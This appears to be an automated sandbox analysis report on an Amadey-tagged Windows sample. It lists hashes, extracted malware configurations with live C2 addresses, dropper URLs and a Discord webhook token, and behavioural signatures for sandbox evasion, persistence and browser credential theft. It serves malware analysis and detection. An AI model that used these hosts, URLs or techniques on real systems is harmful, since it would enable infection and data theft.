amadey | a66ad1178645f946e6e9b98c181e660df8bf87c38c88b220a24f35f0406cc107

Analysis

max time kernel
147s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20250314-en
resource tags

arch:x64arch:x86image:win11-20250314-enlocale:en-usos:windows11-21h2-x64system
submitted
22/03/2025, 12:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

random.exe
Size

5.5MB
MD5

8aa52be570da2efe4885957e29b89538
SHA1

2ad2e47c307b34d9a593e21dfe0dba723c110b3d
SHA256

a66ad1178645f946e6e9b98c181e660df8bf87c38c88b220a24f35f0406cc107
SHA512

c685dd857057879a6ff8bdb7279511e940babeb7f358a94e33fea308ac0bd8ceb6d2bcd758dd38eada0995bb96f910d5728c1431286f0875d2ca392b0ca7308e
SSDEEP

98304:ZDpKjlkbVghclaJ8RhIc1pX452gw8QzbRwm5H3gzIFNM2w+1R:yxQZFzQQ/5HvX9

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://196.251.91.42/up/uploads/encryption02.jpg

exe.dropper

http://196.251.91.42/up/uploads/encryption02.jpg

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

stealc

Botnet

trump

http://45.93.20.28

Attributes

url_path
/85a1cacf11314eb8.php

Extracted

Family

skuld

https://discordapp.com/api/webhooks/1349647136895012916/qSys_fpsL_y7usKH_AyrFupSjzSsVfg2t895g2HV8Yz72asrwCIsHaqqhPtDFjz8g8_E

Extracted

Family

xworm

Version

5.0

httpss.myvnc.com:1907

Mutex

xWIArEKzuXpfRVkJ

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

quasar

Version

1.3.0.0

Botnet

212.56.35.232:101

Mutex

QSR_MUTEX_L5s39LpA1y9H79tL6D

Attributes

encryption_key
oBOMHICrtHceojCPrnpp
install_name
svchost.exe
log_directory
Logs
reconnect_delay
3000
startup_key
svchosta
subdirectory
media

Extracted

Family

amadey

Version

5.33

Botnet

06bcb9

http://195.82.146.131

Attributes

install_dir
06a5c50e21
install_file
tgvazx.exe
strings_key
1861b156ffe931ec912bb17b5ff77a36
url_paths
/h8ejjcsDs/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey

Detect Vidar Stealer 6 IoCs

stealer

resource	yara_rule
behavioral4/memory/1660-798-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/1660-797-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/1660-895-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/1660-1309-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/1660-1325-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7
behavioral4/memory/1660-1329-0x0000000000400000-0x0000000000848000-memory.dmp	family_vidar_v7

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral4/memory/412-788-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm
behavioral4/memory/2188-1191-0x0000000009790000-0x0000000009C26000-memory.dmp	family_xworm

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral4/memory/5692-4323-0x0000000000AE0000-0x0000000000B3E000-memory.dmp	family_quasar

Skuld family
skuld
Skuld stealer
An info stealer written in Go lang.
stealer skuld
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2992 created 2596	2992	Organizations.com	43

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	1P27l3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	3W01C.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	tgvazx.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempQRX4BFA9PPTHE9UHODRZTGXTF34JGUOC.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2S4013.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	advnrNo.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	RrRYo50.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
42	2188	powershell.exe
158	2188	powershell.exe
228	7436	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4872	powershell.exe
860	powershell.exe
14068	powershell.exe
6812	powershell.exe
384	powershell.exe
7436	powershell.exe
7948	powershell.exe
2188	powershell.exe
5280	powershell.exe
12840	powershell.exe
13140	powershell.exe
13580	powershell.exe
240	powershell.exe

Downloads MZ/PE file 13 IoCs

flow	pid	Process
168	1916	rapes.exe
169	5172	svchost.exe
224	1916	rapes.exe
165	1916	rapes.exe
232	5904	svchost.exe
8	1916	rapes.exe
9	1916	rapes.exe
18	1916	rapes.exe
18	1916	rapes.exe
18	1916	rapes.exe
18	1916	rapes.exe
166	1916	rapes.exe
228	7436	powershell.exe

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\2RFNY0_2388\ImagePath = "\\??\\C:\\Windows\\Temp\\2RFNY0_2388.sys"	tzutil.exe

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
1984	msedge.exe
4844	msedge.exe
3640	chrome.exe
5648	chrome.exe
3260	msedge.exe
5924	chrome.exe
3124	chrome.exe
3704	chrome.exe
5592	msedge.exe

Checks BIOS information in registry 2 TTPs 22 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3W01C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	RrRYo50.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	k3t05Da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	tgvazx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempQRX4BFA9PPTHE9UHODRZTGXTF34JGUOC.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1P27l3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3W01C.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	advnrNo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	advnrNo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	RrRYo50.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	tgvazx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempQRX4BFA9PPTHE9UHODRZTGXTF34JGUOC.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2S4013.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	k3t05Da.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1P27l3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2S4013.exe

Deletes itself 1 IoCs

pid	Process
5572	w32tm.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tetras.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\tetras.bat	cmd.exe

Executes dropped EXE 31 IoCs

pid	Process
3728	G8U31.exe
3352	1P27l3.exe
1916	rapes.exe
5584	2S4013.exe
5156	3W01C.exe
3724	50KfF6O.exe
2040	zx4PJh6.exe
2992	Organizations.com
5316	rapes.exe
3216	k3t05Da.exe
1660	advnrNo.exe
412	k3t05Da.exe
1136	wjfOfXh.exe
4964	Kr9UTz2.exe
4868	OkH8IPF.exe
776	rapes.exe
5764	weC48Q7.exe
5584	windowscore.exe
1548	ARxx7NW.exe
4864	0000032312.exe
1400	d3jhg_003.exe
5824	tK0oYx3.exe
5692	word.exe
5572	w32tm.exe
2388	tzutil.exe
4792	RrRYo50.exe
5384	tgvazx.exe
2156	Attributes.exe
5324	7a61d21a7c.exe
13800	TempQRX4BFA9PPTHE9UHODRZTGXTF34JGUOC.EXE
4732	laf6w_001.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	TempQRX4BFA9PPTHE9UHODRZTGXTF34JGUOC.EXE
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	1P27l3.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	3W01C.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	advnrNo.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	RrRYo50.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	tgvazx.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	2S4013.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Wine	rapes.exe

Loads dropped DLL 48 IoCs

pid	Process
3216	k3t05Da.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe
5584	windowscore.exe

Obfuscated with Agile.Net obfuscator 2 IoCs

Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

agilenet

resource	yara_rule
behavioral4/files/0x001a00000002b43c-664.dat	agile_net
behavioral4/memory/3216-677-0x0000000000CE0000-0x00000000012CC000-memory.dmp	agile_net

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Themida packer 6 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x001900000002b43f-683.dat	themida
behavioral4/memory/3216-687-0x00000000700C0000-0x00000000706A0000-memory.dmp	themida
behavioral4/memory/3216-690-0x00000000700C0000-0x00000000706A0000-memory.dmp	themida
behavioral4/memory/3216-689-0x00000000700C0000-0x00000000706A0000-memory.dmp	themida
behavioral4/memory/3216-731-0x00000000700C0000-0x00000000706A0000-memory.dmp	themida
behavioral4/memory/3216-796-0x00000000700C0000-0x00000000706A0000-memory.dmp	themida

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 9 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	G8U31.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {7621FABD-8E1C-4682-ACCD-F95D288F67B3}"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Microsoft\Windows\CurrentVersion\Run\Realtek HD Audio Universal Service = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Protect\\SecurityHealthSystray.exe"	50KfF6O.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Microsoft\Windows\CurrentVersion\Run\7a61d21a7c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10299110101\\7a61d21a7c.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Microsoft\Windows\CurrentVersion\Run\am_no.cmd = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10299120121\\am_no.cmd"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3920535620-1286624088-2946613906-1000\Software\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {7621FABD-8E1C-4682-ACCD-F95D288F67B3}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	random.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	k3t05Da.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral4/files/0x00450000000005f1-20244.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
616	tasklist.exe
3728	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
3352	1P27l3.exe
1916	rapes.exe
5584	2S4013.exe
5156	3W01C.exe
5316	rapes.exe
1660	advnrNo.exe
776	rapes.exe
4792	RrRYo50.exe
5384	tgvazx.exe
13800	TempQRX4BFA9PPTHE9UHODRZTGXTF34JGUOC.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3216 set thread context of 412	3216	k3t05Da.exe	129
PID 4964 set thread context of 3556	4964	Kr9UTz2.exe	150
PID 4868 set thread context of 4180	4868	OkH8IPF.exe	153
PID 5824 set thread context of 1452	5824	tK0oYx3.exe	172

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/0x001c00000002b3c0-50.dat	upx
behavioral4/memory/3724-59-0x00000000006B0000-0x000000000113E000-memory.dmp	upx
behavioral4/memory/3724-62-0x00000000006B0000-0x000000000113E000-memory.dmp	upx

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\RuntimeApp\0000032312.exe	ARxx7NW.exe

Drops file in Windows directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\NecessityInfections	zx4PJh6.exe
File opened for modification	C:\Windows\InvestingTr	zx4PJh6.exe
File opened for modification	C:\Windows\OfficeForbes	zx4PJh6.exe
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\Tasks\tgvazx.job	RrRYo50.exe
File created	C:\Windows\Tasks\rapes.job	1P27l3.exe
File opened for modification	C:\Windows\VancouverPulse	zx4PJh6.exe
File opened for modification	C:\Windows\GuaranteesFear	zx4PJh6.exe
File opened for modification	C:\Windows\SheDrum	zx4PJh6.exe
File opened for modification	C:\Windows\CylinderPair	zx4PJh6.exe
File created	C:\Windows\word.exe	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5604	2992	WerFault.exe	105

System Location Discovery: System Language Discovery 1 TTPs 56 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7a61d21a7c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	G8U31.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	advnrNo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d3jhg_003.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Organizations.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wjfOfXh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2S4013.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	word.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tgvazx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempQRX4BFA9PPTHE9UHODRZTGXTF34JGUOC.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3W01C.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RrRYo50.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	laf6w_001.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1P27l3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rapes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zx4PJh6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	k3t05Da.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	advnrNo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	advnrNo.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
480	timeout.exe
9568	timeout.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133871207665031389"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5492	schtasks.exe
7240	schtasks.exe
6768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3352	1P27l3.exe
3352	1P27l3.exe
1916	rapes.exe
1916	rapes.exe
5584	2S4013.exe
5584	2S4013.exe
5584	2S4013.exe
5584	2S4013.exe
5584	2S4013.exe
5584	2S4013.exe
5156	3W01C.exe
5156	3W01C.exe
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
5316	rapes.exe
5316	rapes.exe
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
2992	Organizations.com
1984	svchost.exe
1984	svchost.exe
1984	svchost.exe
1984	svchost.exe
1660	advnrNo.exe
1660	advnrNo.exe
1660	advnrNo.exe
1660	advnrNo.exe
1660	advnrNo.exe
1660	advnrNo.exe
5924	chrome.exe
5924	chrome.exe
4872	powershell.exe
